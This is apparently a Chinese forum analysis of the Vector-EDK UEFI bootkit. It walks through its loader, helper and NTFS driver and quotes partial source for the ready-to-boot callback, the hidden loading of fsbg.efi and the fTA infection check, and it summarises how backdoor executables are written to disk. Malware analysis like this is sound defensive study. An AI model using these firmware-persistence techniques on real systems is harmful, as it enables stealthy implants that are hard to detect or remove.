0.介绍
Vector-EDK作为UEFI Bootkit的经典案例,在此对其进行分析。
源码在Github上可找到。
1.架构与感染过程分析
1.主架构:
NTFS 解析器(Ntfs.efi):一个DXE驱动程序,包含一个完整的NTFS解析器,用于读写操作。
Rootkit加载器(rkloader.efi):一个DXE驱动程序,它注册一个回调来拦截EFI_EVENT_ GROUP_READY_TO_BOOT事件(表示平台已经准备好执行操作系统引导加载程序),并在启动操作系统引导程序之前加载UEFI应用程序fsbg.efi。
Bootkit辅助程序(fsbg.efi):在UEFI将控制权传递给操作系统引导加载程序之前运行的 UEFI应用程序。它使用用Ntfs.efi解析主要Bootkit函数,并注入恶意软件。
2.感染过程分析
一个以Vector-edk为范本制作的感染概述图

在现在,绝大多数安全软件都只关注Ring0与Ring3,而对Ring-2很少关注,SPI读写漏洞一旦被利用,后果严重。
2.详细分析
1.Bootkit加载器:rkloader.efi
主函数_ModuleEntryPoint()
1 2 3 4 5 6 7 8 9 10 11 12 | EFI_STATUS EFIAPI
_ModuleEntryPoint(FI_HANDLE ImageHandle,EFI_SYSTEM_TABLE * SystemTable)
{
EFI_EVENT Event;
DEBUG((EFI_D_INFO, "Running RK loader.\n" ));
InitializeLib(ImageHandle,SystemTable);
gReceived = FALSE; / / 重置
/ / 等待EFI_EVENT_ GROUP_READY_TO_BOOT事件
/ / 准备启动
gBootServices - >CreateEventEx( 0x200 , 0x10 ,&CallbackSMI,NULL,&SMBIOS_TABLE_GUID, &Event );
return EFI_SUCCESS;
|
在这之中,gBootServices为UEFI全局变量,该函数采用CreateEventEx函数创建回调,在收到EFI_EVENT_ GROUP_READY_TO_BOOT后执行CallbackSMI函数。
此事件发生在BIOS DXE阶段结束时,操作系统引导加载程序收到控制信号之前,允许fsbg.efi在操作系统之前接管执行。
在下面给出UEFI的原型函数的解释:
1 2 3 4 5 6 7 8 9 10 | EFI_STATUS
EFIAPI
CreateEventEx (
IN UINT32 Type , / / 事件类型
IN EFI_TPL NotifyTpl, / / 回调的任务优先级(TPL)
IN EFI_EVENT_NOTIFY NotifyFunction, / / 回调函数指针
IN CONST VOID * NotifyContext, / / 传递给回调的上下文
IN CONST EFI_GUID * EventGroup, / / 事件组 GUID(可选)
OUT EFI_EVENT * Event / / 返回的事件句柄
);
|
NotifyTpl:0x10 对应 TPL_NOTIFY,属于高优先级。
重要的CallbackSMI()函数
这个函数很长,只截取部分分析
1 2 3 4 5 6 7 8 9 10 11 12 | VOID EFIAPI
CallbackSMI (EFI_EVENT Event,VOID * Context){
/ / 略去部分
EFI_LOADED_IMAGE_PROTOCOL * LoadedImage;
EFI_FIRMWARE_VOLUME_PROTOCOL * FirmwareProtocol;
EFI_DEVICE_PATH_PROTOCOL * DevicePathProtocol,
* NewDevicePathProtocol,
* NewFilePathProtocol,
* NewDevicePathEnd;
return ;
}
|
首先,我们看到多个UEFI协议初始化,例如:
EFI_LOADED_IMAGE_PROTOCOL提供已加载UEFI程序的信息(映像基地址、映像大小和映像在UEFI固件中的位置)。
EFI_FIRMWARE_VOLUME_PROTOCOL提供从固件卷读取和写入固件卷的接口。
EFI_DEVICE_PATH_PROTOCOL提供一个接口,用于构建到设备的路径。
何为UEFI Protocol
一个 Protocol 是一个结构体,包含一组函数指针和数据字段,定义了如何访问某种硬件、服务或功能。类似于WinAPI,但又有不同,UEFI Driver通过 Protocol 实现模块化和重用。每个 Protocol 通过一个 GUID(全局唯一标识符)来区分。
多个EFI_DEVICE_PATH_PROTOCOL初始化开始后,我们可以看到许多变量名都以New作为前缀,这通常表明它们是钩子。命名规范就是好(^_^)。因此,NewProtocol相当于一个UEFI Hook。
具体的使用:
1 2 3 4 5 6 7 8 9 | DeviceHandle = LoadedImage - >DeviceHandle;
Status = gBootServices - >HandleProtocol(DeviceHandle, &FIRMWARE_VOLUME_PROTOCOL_GUID, &FirmwareProtocol);
Status = gBootServices - >HandleProtocol(DeviceHandle, &DEVICE_PATH_PROTOCOL_GUID, &DevicePathProtocol);
DevicePathLength = DevicePathProtocol - >Length[ 0 ] + DevicePathProtocol - >Length[ 1 ];
DevicePathLength + = sizeof(EFI_GUID) + 4 + 4 ;
gBootServices - >AllocatePool( 4 , DevicePathLength, &NewDevicePathProtocol);
|
但是,这个钩子并非拦截调用,而是实现隐蔽加载fsbg.efi。
可是DevicePathProtocol 的结构并非简单数组。实际设备路径由多个节点组成,每个节点的长度通过 EFI_DEVICE_PATH_PROTOCOL.Length 字段动态获取,需遍历所有节点累加长度。这可能是作者的疏忽。
这样计算更稳定
1 | DevicePathLength = GetDevicePathSize(DevicePathProtocol);
|
LoadedImage变量用一个指向 EFI_LOADED_IMAGE_PROTOCOL的指针进行初始化,之后LoadedImage可以用来确定当前模块(rkloader)所在的设备。
接下来,获得rkloader所在设备的EFI_FIRMWARE_VOLUME_PROTOCOL 和 EFI_DEVICE _PATH_PROTOCOL协议。这些协议是必要的,以建立到下一个恶意模块(即 fsbg.efi)的路径。
1 2 3 | / / 复制 "VOLUME" 描述符
gBootServices - >CopyMem( NewDevicePathProtocol,DevicePathProtocol, DevicePathLength);
gBootServices - >CopyMem(((CHAR8 * )(NewFilePathProtocol) + 4 ),&LAUNCH_APP,sizeof(EFI_GUID));
|
一旦获得了这些协议,rkloader将构造一个到fsbg.efi模块的路径,以便加载它。路径的第一部分是rkloader所在的固件卷(fsbg.efi)的路径。第二部分附加 fsbg.efi模块的GUID:LAUNCH_APP={eaea9aec-c9c1-46e2-9d52432ad25a9bob}。
1 2 | Status = gBootServices - >LoadImage(FALSE,gImageHandle,NewDevicePathProtocol,
NULL, 0 ,&ImageLoadedHandle);
|
最后一步是对LoadImage()的调用,执行fsbg.efi模块。
2.Bootkit辅助器:fsbg.efi
主函数UefiMain()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | EFI_STATUS / / Entry Point
UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE * SystemTable)
{
/ / 变量略
Print (L "parte 1\n" );
/ / Step 1
if (CheckfTA() = = TRUE)
return TRUE;
Print (L "parte 2\n" );
Status = gBS - >HandleProtocol(ImageHandle, &gEfiLoadedImageProtocolGuid, &LoadedImage);
if (EFI_ERROR (Status))
{
Print (L "Error LoadedImageProtocol\r\n" );
return Status;
}
Print (L "parte 3\n" );
VirtualSize = 0 ;
pSectiondata = 0 ;
if (GetImageEx (ImageHandle, &SOAPP, EFI_SECTION_RAW, & Buffer , &Size, FALSE) = = EFI_SUCCESS)
{
Print (L "parte 4\n" );
VirtualSize = Size;
pSectiondata = (UINTN) Buffer ;
Print (L "B0=%x B1=%x %c%c\n" , Buffer [ 0 ], Buffer [ 1 ], Buffer [ 0 ], Buffer [ 1 ]);
/ / CpuBreakpoint();
/ / Setp 2
if (CheckUsers(LoadedImage - >DeviceHandle) = = FALSE)
return TRUE;
Print (L "parte 5\n" );
}
Print (L "parte 6\n" );
Print (L "B0=%x B1=%x %c%c\n" , Buffer [ 0 ], Buffer [ 1 ], Buffer [ 0 ], Buffer [ 1 ]);
/ / CpuBreakpoint();
return EFI_SUCCESS;
}
|
该函数首先检查是否感染。
fsbg.efi在第一次感染点安装了fTA UEFI变量,随后的每次引导检查它是否存在,如果可变的fTA存在,则意味着活跃的感染程序已经存在于硬盘驱动器上,并且fsbg.efi不需要向文件系统注入恶意驱动。如果在硬编码的路径中没有找到fTA,则fsbg.efi模块将在引导过程中再次安装Bootkit。
CheckfTA()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | BOOLEAN
EFIAPI
CheckfTA()
{
EFI_STATUS Status = EFI_SUCCESS;
UINTN VarDataSize;
UINT8 VarData;
VarData = 0 ;
VarDataSize = sizeof(VarData);
Status = gRT - >GetVariable(L "fTA" , &gEfiGlobalFileVariableGuid, NULL, &VarDataSize, (UINTN * )&VarData);
if (Status! = EFI_SUCCESS || VarData = = 0 )
{
Print (L "Devo Infettare\n" );
return FALSE;
}
Print (L "NON Devo Infettare\n" );
return TRUE;
}
|
其余函数分析同理
总结:fsbg.efi的行为
1)通过预定义的名为fTA的UEFI度量检查系统是否已经被感染。
2)初始化 NTFS 协议。
3)通过查看预定义的部分,在UEFI映像中查找恶意可执行文件。
4)通过检查主目录中的名称来检查计算机上的现有用户,以查找特定的目标。
5)通过直接写入NTFS来安装恶意软件可执行模块scoute.exe(后门)和soldier.exe(RCS 代理)。
3.NTFS 解析器
这个是修改EDK的NTFS解析器,没有什么特殊的构造,故不做过多分析
3.总结
该Bootkit的启动过程: 
虽然随着UEFI Secure Boot 的发展,UEFI启动过程得到一定保护,但肯定有更多的0day在被利用或未被发现。
对UEFI Bootkit 的防范,还需持续进行。
本贴只为概述,欢迎批评指正。
参考
Vector-EDK 7b1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6Z5j5h3y4C8k6h3c8@1k6h3q4E0i4K6u0r3N6X3g2U0N6r3!0J5i4K6u0V1k6h3c8C8
最后于 5小时前
被TurkeybraNC编辑
,原因: